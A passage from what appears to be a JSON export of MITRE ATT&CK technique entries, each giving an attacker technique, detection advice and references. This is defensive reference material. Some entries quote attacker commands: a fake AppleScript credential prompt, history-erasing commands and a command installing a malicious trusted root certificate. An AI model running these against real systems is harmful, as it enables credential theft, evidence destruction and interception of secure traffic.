communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection\n\nDefense Bypassed: Binary Analysis, Log analysis, Firewall\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Anastasios Pingios",
      "meta": {
        "external_id": "T1102",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control",
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Host network interface",
          "Netflow/Enclave netflow",
          "Network protocol analysis",
          "Packet capture",
          "SSL/TLS inspection"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1102",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "830c9528-df21-472c-8c14-a036bf17d665",
      "value": "Web Service - T1102"
    },
    {
      "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM",
      "meta": {
        "external_id": "T1012",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "Windows Registry",
          "Process monitoring",
          "Process command-line parameters"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1012",
          "https://en.wikipedia.org/wiki/Windows%20Registry"
        ]
      },
      "uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
      "value": "Query Registry - T1012"
    },
    {
      "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nDetection: Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process monitoring, Process use of network, Third-party application logs, Windows Registry\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: Yes",
      "meta": {
        "external_id": "T1072",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution",
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "Binary file metadata",
          "File monitoring",
          "Process monitoring",
          "Process use of network",
          "Third-party application logs",
          "Windows Registry"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1072"
        ]
      },
      "uuid": "92a78814-b191-47ca-909c-1ccfe3777414",
      "value": "Third-party Software - T1072"
    },
    {
      "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.\n\nDetection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring\n\nPermissions Required: User\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1105",
        "kill_chain": [
          "mitre-attack:enterprise-attack:command-and-control",
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Packet capture",
          "Process use of network",
          "Netflow/Enclave netflow",
          "Network protocol analysis",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1105",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
      "value": "Remote File Copy - T1105"
    },
    {
      "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)\n\nDetection: Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through PowerShell, additional logging of PowerShell scripts is recommended.\n\nPlatforms: Windows\n\nData Sources: API monitoring\n\nDefense Bypassed: File monitoring, File system access controls\n\nPermissions Required: Administrator",
      "meta": {
        "external_id": "T1006",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "API monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1006",
          "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin",
          "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"
        ]
      },
      "uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
      "value": "File System Logical Offsets - T1006"
    },
    {
      "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\n<code>set thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")</code>\n (Citation: OSX Keydnap malware)\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper)\n\nDetection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.\n\nPlatforms: macOS\n\nData Sources: User interface, Process Monitoring\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1141",
        "kill_chain": [
          "mitre-attack:enterprise-attack:credential-access"
        ],
        "mitre_data_sources": [
          "User interface",
          "Process Monitoring"
        ],
        "mitre_platforms": [
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1141",
          "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
          "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"
        ]
      },
      "uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b",
      "value": "Input Prompt - T1141"
    },
    {
      "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.\n\nDetection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Shared webroot directory on remote system",
      "meta": {
        "external_id": "T1051",
        "kill_chain": [
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "File monitoring",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1051"
        ]
      },
      "uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db",
      "value": "Shared Webroot - T1051"
    },
    {
      "description": "An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.\n\nDetection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.\n\nPlatforms: Windows\n\nData Sources: Sensor health and status, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
      "meta": {
        "external_id": "T1054",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Sensor health and status",
          "Process command-line parameters",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1054"
        ]
      },
      "uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df",
      "value": "Indicator Blocking - T1054"
    },
    {
      "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Data loss prevention, File monitoring\n\nSystem Requirements: Presence of physical medium or device\n\nRequires Network: No",
      "meta": {
        "external_id": "T1052",
        "kill_chain": [
          "mitre-attack:enterprise-attack:exfiltration"
        ],
        "mitre_data_sources": [
          "Data loss prevention",
          "File monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1052"
        ]
      },
      "uuid": "e6415f09-df0e-48de-9aba-928c902b7549",
      "value": "Exfiltration Over Physical Medium - T1052"
    },
    {
      "description": "Windows uses access tokens to determine the ownership of a running process.  A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process.  When this occurs, the process also takes on the security context associated with the new token.  For example, Microsoft promotes the use of access tokens as a security best practice.  Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.  (Citation: Microsoft runas)\n  \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing.  An adversary must already be in a privileged user context (i.e. administrator) to steal a token.  However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n'''Token Impersonation/Theft''' - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.\n\n'''Create Process with a Token''' - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\n\n'''Make and Impersonate Token''' - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.  (Citation: Metasploit access token)  The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens.  (Citation: Cobalt Strike Access Token)\n\nDetection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity.  Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.  \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code> (Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code> (Citation: Microsoft ImpersonateLoggedOnUser)).  Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Access Tokens\n\nEffective Permissions: SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Tom Ueltschi @c_APT_ure, Travis Smith, Tripwire, Jared Atkinson, @jaredcatkinson, Robby Winchester, @robwinchester3",
      "meta": {
        "external_id": "T1134",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion",
          "mitre-attack:enterprise-attack:privilege-escalation"
        ],
        "mitre_data_sources": [
          "API monitoring",
          "Access Tokens"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1134",
          "https://technet.microsoft.com/en-us/library/bb490994.aspx",
          "https://pentestlab.blog/2017/04/03/token-manipulation/",
          "https://www.offensive-security.com/metasploit-unleashed/fun-incognito/",
          "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/",
          "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
          "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx",
          "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx",
          "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx",
          "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"
        ]
      },
      "uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48",
      "value": "Access Token Manipulation - T1134"
    },
    {
      "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.\n\nDetection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, API monitoring\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1124",
        "kill_chain": [
          "mitre-attack:enterprise-attack:discovery"
        ],
        "mitre_data_sources": [
          "Process monitoring",
          "Process command-line parameters",
          "API monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1124",
          "https://msdn.microsoft.com/ms724961.aspx",
          "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings",
          "https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf"
        ]
      },
      "uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
      "value": "System Time Discovery - T1124"
    },
    {
      "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.\n\nDetection: User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs, File monitoring\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
      "meta": {
        "external_id": "T1146",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "Authentication logs",
          "File monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1146"
        ]
      },
      "uuid": "d3046a90-580c-4004-8208-66915bc29830",
      "value": "Clear Command History - T1146"
    },
    {
      "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n    \n*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n    \n*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n    \n*via <code><file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"></code> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.\n\nDetection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code> directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring\n\nPermissions Required: User\n\nContributors: Stefan Kanthak",
      "meta": {
        "external_id": "T1129",
        "kill_chain": [
          "mitre-attack:enterprise-attack:execution"
        ],
        "mitre_data_sources": [
          "Process Monitoring",
          "API monitoring",
          "File monitoring",
          "DLL monitoring"
        ],
        "mitre_platforms": [
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1129",
          "https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files"
        ]
      },
      "uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65",
      "value": "Execution through Module Load - T1129"
    },
    {
      "description": "Secure Shell (SSH) is a standard means of remote access on Linux and Mac systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\nSSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts.\n\nDetection: Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs\n\nPermissions Required: User, root\n\nSystem Requirements: SSH service enabled, trust relationships configured, established connections\n\nContributors: Anastasios Pingios",
      "meta": {
        "external_id": "T1184",
        "kill_chain": [
          "mitre-attack:enterprise-attack:lateral-movement"
        ],
        "mitre_data_sources": [
          "Authentication logs"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1184",
          "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219",
          "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf",
          "https://www.clockwork.com/news/2012/09/28/602/ssh%20agent%20hijacking",
          "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"
        ]
      },
      "uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
      "value": "SSH Hijacking - T1184"
    },
    {
      "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under <code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code> and <code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n*18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n*245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n*3B1EFD3A66EA28B16697394703A72CA340A05BD5\n*7F88CD7223F3C813818C994614A89C99FA3B5247\n*8F43288AD272F3103B6FB1428485EA3014C0BCFE\n*A43489159A520F0D93D032CCAF37E7FE20A8B419\n*BE36A4562FB2EE05DBB3D32323ADF445084ED656\n*CDD4EEAE6000AC7F40C3802C171E30148030C072\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nDefense Bypassed: Digital Certificate Validation\n\nPermissions Required: Administrator, User\n\nContributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire, Red Canary, Matt Graeber, @mattifestation, SpecterOps",
      "meta": {
        "external_id": "T1130",
        "kill_chain": [
          "mitre-attack:enterprise-attack:defense-evasion"
        ],
        "mitre_data_sources": [
          "SSL/TLS inspection",
          "Digital Certificate Logs"
        ],
        "mitre_platforms": [
          "Linux",
          "Windows",
          "macOS"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1130",
          "https://en.wikipedia.org/wiki/Root%20certificate",
          "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
          "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/",
          "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/",
          "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
          "https://objective-see.com/blog/blog%200x26.html",
          "https://docs.microsoft.com/sysinternals/downloads/sigcheck"
        ]
      },
      "uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
      "value": "Install Root Certificate - T1130"
    },
    {
      "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
      "meta": {
        "external_id": "T1030",
        "kill_chain": [
          "mitre-attack:enterprise-attack:exfiltration"
        ],
        "mitre_data_sources": [
          "Packet capture",
          "Netflow/Enclave netflow",
          "Process use of network",
          "Process monitoring"
        ],
        "mitre_platforms": [
          "Linux",
          "macOS",
          "Windows"
        ],
        "refs": [
          "https://attack.mitre.org/wiki/Technique/T1030",
          "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
        ]
      },
      "uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd",
      "value": "Data Transfer Size Limits - T1030"
    },
    {
      "description": "<code>~/.bash_profile</code> and <code>~/.bashrc</code> are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), <code>~/.bash_profile</code> is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, <code>~/.bashrc</code> is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell  (Citation: amnesia malware).\n\nDetection: While users may customize their <code>~/.bashrc</code> and <code>~/.bash_profile</code> files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator",
      "meta": {
        "external_id": "T1156",
        "kill_chain": [
